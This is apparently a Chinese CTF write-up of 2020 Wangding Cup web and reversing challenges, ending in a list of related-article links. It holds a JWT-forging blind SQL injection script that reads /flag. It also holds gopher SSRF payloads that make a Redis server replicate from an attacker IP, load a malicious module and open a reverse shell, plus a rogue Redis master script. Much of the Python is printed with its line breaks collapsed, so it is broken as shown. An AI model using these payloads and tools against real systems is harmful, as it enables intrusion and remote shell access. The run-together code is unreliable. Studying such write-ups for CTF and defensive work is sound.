本文涉及知识点靶场练习:SSRF漏洞进阶实践-攻击内网Redis:通过gopher协议攻击Redis,如果内网中的Redis存在未授权访问漏洞,当Redis服务以root权限运行时,利用gopher协议攻击内网中的Redis,通过写入定时任务可以实现反弹shell。

查看JS,在JS中找到p14.php,直接copy下来console执行,输入战队的token就可以了

js_on

顺手输入一个 admin admin,看到下面的信息

欢迎admin
这里是你的信息:key:xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6

第一步想的是二次注入,但是一直被嘲讽,出题人素质有待加强,然后重新捋一遍思路,是不是命令注入,稍微测试了一下,感觉不对路,重新回过头,提示的这个key很明显是 jwt 的key,然后猜测二次注入的部分是不是在token部分,结果二次注入没发现,倒是发现在 token处存在布尔注入,如果为真 news会返回你输入的内容,如果为假,则返回 ???no message

脚本

# coding=utf-8import jwt
import requests
import re
requests.packages.urllib3.disable_warnings()
key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://84f801d8da46417d9747f9bb2f8187b963c126676ca644fd.cloudgame1.ichunqiu.com/index.php"
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
# info = jwt.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OnhSdCpZTURxeUNDeFl4aTlhQExnY0dwbm1NMlg4aSY2In0.EpNdctJ5Knu4ZkRcatsyMOxas1QgomB0Z49qb7_eoVg",key,algorithms=['HS256'])
# if info:# print(info)# payloadTmpl = "i'/**/or/**/ascii(mid(database(),{},1))>{}#"
# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(sc<a>hema_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.S<a>CHEMATA),{},1))>{}#"
# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(col<a>umn_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.c<a>olumns/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
payloadTmpl = "i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"def half_interval():result = ""for i in range(1,45):min = 32max = 127while abs(max-min) > 1:mid = (min + max)//2 payload = payloadTmpl.format(i,mid)jwttoken = {"user": payload,"news": "success"}payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")# print(payload)cookies = dict(token=str(payload))res = requests.get(url,cookies=cookies,proxies=proxies)if re.findall("success", res.text) != []:min = midelse:max = midresult += chr(max)print(result)if __name__ == "__main__":half_interval()# payload = payloadTmpl.format(1,32)# jwttoken = {#     "user": payload,#     "news": "success"# }# print(jwttoken)# payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")# print(payload)# cookies = dict(token=str(payload))# res = requests.get(url,cookies=cookies,proxies=proxies)# res.encoding='utf-8'# print(res.text)

ssrfme

刚拿到题目,想起来跟 SECCON 的题目很像,直接DNS重绑定绕过第一步

获取到hint的源码,提示ssrf 打 redis,直接写contrab在save的时候提示没权限,写shell不知道路径

一直主从复制也没成功

很坑,没权限

后来检查一下发现目录不对,转移到有权限的/tmp 下面

gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

然后重复主从的步骤,在自己的VPS上起好了 rogue 服务器

gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252039.107.68.253%252060001%250d%250aquit

服务器监听

gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%252039.107.68.253%252060003%250d%250aquit

rogue.py

import socket
import timeCRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"def redis_format(arr):global CRLFglobal payloadredis_arr=arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len(x))+CRLF+xcmd+=CRLFreturn cmddef redis_connect(rhost,rport):sock=socket.socket()sock.connect((rhost,rport))return sockdef send(sock,cmd):sock.send(redis_format(cmd))print(sock.recv(1024).decode("utf-8"))def interact_shell(sock):flag=Truetry:while flag:shell=raw_input("\033[1;32;40m[*]\033[0m ")shell=shell.replace(" ","${IFS}")if shell=="exit" or shell=="quit":flag=Falseelse:send(sock,"system.exec {}".format(shell))except KeyboardInterrupt:returndef RogueServer(lport):global CRLFglobal payloadflag=Trueresult=""sock=socket.socket()sock.bind(("0.0.0.0",lport))sock.listen(10)clientSock, address = sock.accept()while flag:data = clientSock.recv(1024)if "PING" in data:result="+PONG"+CRLFclientSock.send(result)flag=Trueelif "REPLCONF" in data:result="+OK"+CRLFclientSock.send(result)flag=Trueelif "PSYNC" in data or "SYNC" in data:result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLFresult += "$" + str(len(payload)) + CRLFresult = result.encode()result += payloadresult += CRLFclientSock.send(result)flag=Falseif __name__=="__main__":lhost="xxx.xxx.xxx.xxx"lport=60001

java

用 jadx 对 java.apk 反汇编

主程序逻辑并不复杂,正常的输入,以及将输入进行计算后比对

先对用户输入进行 AES 加密 ,Key 为 aes_check_key!@#,然后进行两次异或,最后 base64 编码

与 VsBDJCvuhD65/+sL+Hlf587nWuIa2MPcqZaq7GMVWI0Vx8l9R42PXWbhCRftoFB3进行比较

所以 crack 过程也很简单,逆回来就得到输入,但是中间卡在密钥并不是直接给的密钥,还对密钥里 'e' 和 'o'进行了替换,最终密钥为 aos_chock_koy!@#,逆回去得到flag

网鼎杯玄武组部分web题解相关推荐

  1. CTF-2020网鼎杯-玄武组-web题-ssrfme知识回顾

    CTF-2020网鼎杯-玄武组-web题-ssrfme知识回顾 思路:SSRF结合redis主从复制RCE Tip:使用DNS重绑定绕过限制 参考笔记:redis 主服务器:192.168.8.103 ...

  2. 2020网鼎杯玄武组re baby_vm复盘

    baby_vm 0x00 前言 这是一道来自2020网鼎杯玄武组的逆向题,题目的重难点在分析vm流程.这届比赛我没有参加,看到 一些博客都在分析这道题目,于是在闲暇时间复盘学习一下. 0x01分析 首 ...

  3. 2020网鼎杯玄武组部分题writeup(签到/vulcrack/java/js_on)

    签到题 思路 浏览器F12,调取ajax,输入队伍token,获取flag 过程 (1)浏览器进入F12查看js,看到game_manage.js这个js,看名字像是控制游戏的 (2)进入js,通过搜 ...

  4. [re]符号执行一把梭:2020网鼎杯青龙组re_signal_wp

    [re]符号执行一把梭:2020网鼎杯青龙组re_signal_wp 这道题是2020网鼎杯青龙组的一道逆向提signal,一道虚拟机逆向题目,题目本身不难,可以直接分析也可以符号执行秒掉. 题目分析 ...

  5. 2022网鼎杯青龙组wp

    本次网鼎杯的Crypto部分其实还是比较简单的,解出的人数也较多.感觉405题略难一些,花了比较多的时间,恰巧最后几小时给出的162所用到的求解方式之前遇到过,有幸作为一个CTF新手把这次的比赛密码学 ...

  6. [pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglement wp

    [pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglement wp 文章目录 [pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglemen ...

  7. 2020网鼎杯青龙组部分题目writeup

    2020网鼎杯青龙组部分题目writeup 0x00 Crypto之boom 0x00 Crypto之boom 下载下来是个exe文件,拖到cmd运行(切记一定不要双击,用cmd打开,双击运行后最后程 ...

  8. 【CTF WriteUp】网鼎杯 青龙组 Misc题解复现(整理,WP非原创)

    (原本还打算四场Crypto全刷的,结果第四场被教做人了,算了整理点别的当补偿了) (另:求白虎组 Misc-boot 的 WP) Misc 虚幻2 图片在RGB信道各有一张图,提出来 R: G: B ...

  9. 2022网鼎杯白虎组misc830题解

    题目下载. 下载下来是个加密的zip,是伪加密.用二进制编辑器分别把50 4b 03 04 14 00 09 00里的09改成00,50 4b 01 02 14 00 14 00 09 00里的09改 ...

最新文章

  1. 10年Python大牛倾力打造系统Python学习流程图!
  2. 如何让Linux禁止Ctrl+Alt+Del重启(防止被强行关闭)     erikxue 薛忠权
  3. Android SwipeRefreshLayout 官方下拉刷新控件介绍
  4. 【开发环境】PyCharm 配置 GitHub ( 在 PyCharm 中向 GitHub 提交代码 )
  5. 深入剖析微软ASP.NET Ajax中的数据绑定构架下篇之二
  6. 程序员一夜暴富捷径?不,别被轻易骗进“独角兽”
  7. vue问题四:富文本编辑器上传图片
  8. C++面试题-指针-指针数组与数组指针
  9. 用python画小黄人-怎么用python画小黄人
  10. Kaldi AMI数据集脚本学习6---转移模型(Transition Model)
  11. 静态修饰词static以及图解分析
  12. winpcap java封装_利 用jnetpcap 封装libpcap
  13. Atitit 法学体系树与知识点attilax大总结 法学体系 0301法学类 030101 法学理论 宪法 行政法 民法 商法 婚姻法和继承法 经济法 社会法 刑法 民事诉讼法 行政诉讼法
  14. 商品中心 --- 淘宝类目属性体系
  15. 弱电工程项目经理部及各相关人员岗位职责
  16. 自抗扰控制(ADRC)
  17. \t\t长痘痘(鼻尖,脸上等部位)的原因,应该怎么办?
  18. zynq uart0和uart1设置
  19. 计算ndvi值需要的数据_MODIS计算NDVI注意事项
  20. 如何修炼成某一领域的高手?

热门文章

  1. EasyNVR无插件直播服务器播放页面的集成----单独的播放器样式
  2. N个开源的管理系统,接私活必备
  3. 啰里吧嗦式讲解java静态代理动态代理模式
  4. 玩转自定义View之大学问特色蛛网评分控件
  5. Oracle 最后一次更新时间(dba_objects)
  6. 绝地求生信号枪在哪个服务器,绝地求生信号枪位置_绝地求生信号枪刷新地点介绍_游戏吧...
  7. Jeff Bezos计划回收阿波罗11号飞船引擎
  8. springboot yml中profiles的妙用,小白必看多环境配置!
  9. 源码阅读:SDWebImage(十)——SDImageCacheConfig
  10. 物联网在教育领域应用前景广阔